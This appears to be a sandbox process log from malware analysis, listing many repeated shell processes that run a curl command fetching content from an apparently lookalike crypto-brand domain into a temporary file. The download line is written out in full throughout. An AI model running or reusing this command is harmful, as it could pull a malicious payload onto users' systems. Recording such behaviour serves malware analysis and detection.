sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1129

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1131

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1131

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1131

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1133

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1133

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1133

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1135

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1135

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1135

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1137

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1137

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1137

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1139

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1139

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1139

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1141

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1141

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1141

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1143

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1143

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1143

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1145

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1145

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1145

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1147

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1147

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1147

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1149

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1149

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1149

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1151

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1151

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1151

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1153

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1153

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1153

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1155

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1155

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1155

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1157

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1157

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1157

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1159

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1159

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1159

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1161

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1161

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1161

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1163

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1163

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1163

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1165

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1165

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1165

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1167

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1167

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1167

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1169

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1169

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1169

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1171

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1171

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1171

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1173

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1173

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1173

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1175

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1175

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1175

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1177

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1177

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1177

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1179

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1179

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1179

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1181

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1181

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1181

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1183

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1183

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1183

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1185

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1185

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1185

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1187

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1187

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1187

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1189

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1189

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1189

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1191

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1191

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1191

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1193

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1193

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1193

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1195

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1195

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1195

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1197

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1197

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1197

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1199

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1199

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1199

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1201

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1201

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1201

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1203

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1203

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1203

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1205

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1205

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1205

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1207

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1207

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1207

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1209

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1209

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1209

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1211

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1211

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1211

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1213

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1213

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1213

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1215

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1215

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1215

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1217

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1217

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1217

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1219

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1219

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1219

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1221

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1221

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1221

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1223

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1223

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1223

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1225

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1225

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1225

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1227

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1227

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1227

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1229

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1229

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1229

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1231

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1231

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1231

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1233

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1233

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1233

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1235

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1235

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1235

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1237

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1237

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1237

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1239

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1239

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1239

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1241

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1241

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1241

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1243

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1243

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1243

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1245

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1245

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1245

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1247

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1247

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1247

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1249

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1249

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1249

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1251

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1251

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1251

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1253

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1253

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1253

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1255

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1255

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1255

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1257

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1257

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1257

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1259

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1259

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1259

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1261

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1261

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1261

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1263

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1263

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1263

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1265

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1265

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1265

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1267

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1267

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1267

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1269

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1269

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1269

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1271

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1271

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1271

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1273

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1273

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1273

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1275

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1275

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1275

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1277

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1277

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1277

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
